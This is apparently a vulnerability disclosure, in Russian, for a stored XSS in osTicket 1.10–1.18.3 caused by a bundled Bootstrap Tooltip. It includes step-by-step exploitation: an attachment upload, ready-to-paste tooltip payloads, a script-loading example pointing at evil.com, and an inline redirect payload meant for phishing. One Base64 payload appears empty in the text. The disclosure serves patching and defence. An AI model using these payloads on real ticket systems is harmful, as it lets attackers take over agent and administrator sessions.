
Хранимый межсайтовый скриптинг (XSS) в osTicket через уязвимый компонент Bootstrap Tooltip
Версии Enhancesoft osTicket с 1.10 по 1.17.7 и с 1.18.0 по 1.18.3 поставляются с заведомо уязвимым компонентом Bootstrap Tooltip 3.3.4 (CVE-2019-8331), который приводит к появлению хранимой межсайтовой сценарной уязвимости (XSS). В конфигурации osTicket по умолчанию отправители заявок («пользователи») могут создавать заявки без предварительной аутентификации, а самостоятельная регистрация пользователей открыта по умолчанию. Удалённый пользователь может сформировать вредоносное сообщение заявки, которое, несмотря на прохождение через модуль очистки HTML htmlLawed, приводит к выполнению произвольного JavaScript в браузере любого просматривающего его агента или администратора. Проблема усугубляется тем, что загруженные пользователем JavaScript-файлы обслуживаются с типом Content-Type, предназначенным для выполнения JavaScript (text/javascript), что позволяет браузерам интерпретировать их как активное содержимое. Хотя встроенные (inline) полезные нагрузки ограничены тем, как Bootstrap Tooltip 3.3.4 разбирает значение data-template в объект jQuery и вставляет его в DOM с помощью appendTo() или insertAfter(), выполнение контролируемого атакующим кода в виде внешнего скрипта позволяет обойти эти ограничения и обеспечивает более мощную эксплуатацию уязвимости.
Протестировано и подтверждено, что уязвимы:
Затронутые версии:
Этот компонент присутствует в кодовой базе osTicket с 13 мая 2015 года, о чём свидетельствуют:
scp/js/bootstrap-tooltip.jse5a28410ae7c238932eef07c2b3568da015a792cЭтот коммит связан с тегами релизов osTicket, начиная с версии 1.10, что указывает на то, что уязвимый компонент Bootstrap Tooltip был включён в широкий диапазон релизов osTicket на протяжении нескольких основных версий. Такое долгосрочное включение позволяет предположить, что затронуто множество версий osTicket, выпущенных за несколько лет.
osTicket — это широко используемая система тикетов с открытым исходным кодом, которая позволяет конечным пользователям отправлять расширенное HTML-содержимое и файловые вложения при создании заявок и ответах на них.
osTicket определяет три основные категории пользователей:
Любое HTML-содержимое, отправленное пользователем, впоследствии может быть отображено в браузере агента или администратора, что делает клиентские уязвимости особенно значимыми.
Сначала аутентифицируйтесь с помощью учётной записи конечного пользователя и перейдите на страницу создания заявки.
Затем создайте JavaScript-файл (например, test.js), содержащий полезную нагрузку. Например:
alert(123);
Примечание: по умолчанию osTicket разрешает вложения в заявки без ограничений по типу файлов.

Затем отправьте заявку, нажав «Создать заявку», не указывая «Детали обращения».
Приложение перенаправит нас обратно на форму отправки заявки с ошибкой «Детали обращения — обязательное поле».
На этой странице мы можем получить прямую ссылку для скачивания нашего JavaScript-файла (test.js), фактически не отправляя заявку.


Получив эту ссылку, вернитесь к форме отправки заявки.
Нажмите на HTML-редактор и вставьте эту полезную нагрузку, заменив атрибут src тега script на ссылку, полученную ранее.
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='[LINK_HERE]'>"></div>
<input>
Ниже приведён пример полной полезной нагрузки, где шаблон [LINK_HERE] заменён ссылкой, полученной ранее:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://localhost:8080/file.php?key=rjfge-qlcmbwgnsfl8hhwktyhctre-_e&expires=1768780800&signature=5044f8201f041228de077a2e025e6fc118b31223'>"></div>
<input>
Затем отправьте заявку.

Когда администратор или агент открывает нашу вредоносную заявку, полезная нагрузка срабатывает.

Результат:
Когда администратор/агент открывает вредоносную заявку, JavaScript-полезная нагрузка загружается и выполняется в контексте сессии администратора/агента.
Это приводит к хранимой XSS, позволяющей полностью скомпрометировать сессию (например, через ezXSS, CSRF для выполнения действий от имени администратора/агента).
Если вредоносную заявку просматривает агент, хранимая XSS выполняется в контексте аутентифицированной сессии агента.
Это позволяет атакующему фактически захватить сессию агента без необходимости извлекать cookie сессии (например, даже в сценариях, где эксфильтрация cookie непрактична и используется платформа blind-XSS, такая как ezXSS). После срабатывания XSS атакующий может выполнять любые действия, доступные скомпрометированному агенту, например:
В результате полностью нарушаются операционные возможности агента, а также конфиденциальность и целостность процесса обработки заявок.
Если вредоносную заявку просматривает администратор, воздействие возрастает до полной компрометации приложения. Атакующий может:
Хотя конфигурация osTicket по умолчанию разрешает загрузку JavaScript-файлов, osTicket можно настроить в панели администратора таким образом, чтобы конечный пользователь не мог загружать JavaScript-файлы.
Кроме того, панель управления персоналом, используемая агентами и администраторами, применяет политику безопасности содержимого, которая предотвращает выполнение JavaScript, поступающего со сторонних доменов.
Рассмотрим следующую полезную нагрузку в качестве примера:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://evil.com'></object>"></div>
<input>
На скриншоте ниже показано, что загрузка скрипта с https://evil.com была заблокирована политикой безопасности содержимого, применяемой в панели управления персоналом.

Однако политика безопасности содержимого, реализованная в приложении, разрешает встроенный JavaScript.

В случае, если загрузка JavaScript-файлов заблокирована, атакующий всё равно может выполнять вредоносные действия. Рассмотрим полезную нагрузку ниже:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template=""></div>
<input>
Полезная нагрузка Base64 декодируется в:
<script>top.location = "https://example.com";</script>
Эта полезная нагрузка позволяет атакующему перенаправить агента или администратора, просматривающего вредоносную заявку, на произвольный веб-сайт, например фишинговый.
Вот результат после просмотра заявки, содержащей указанную выше полезную нагрузку.
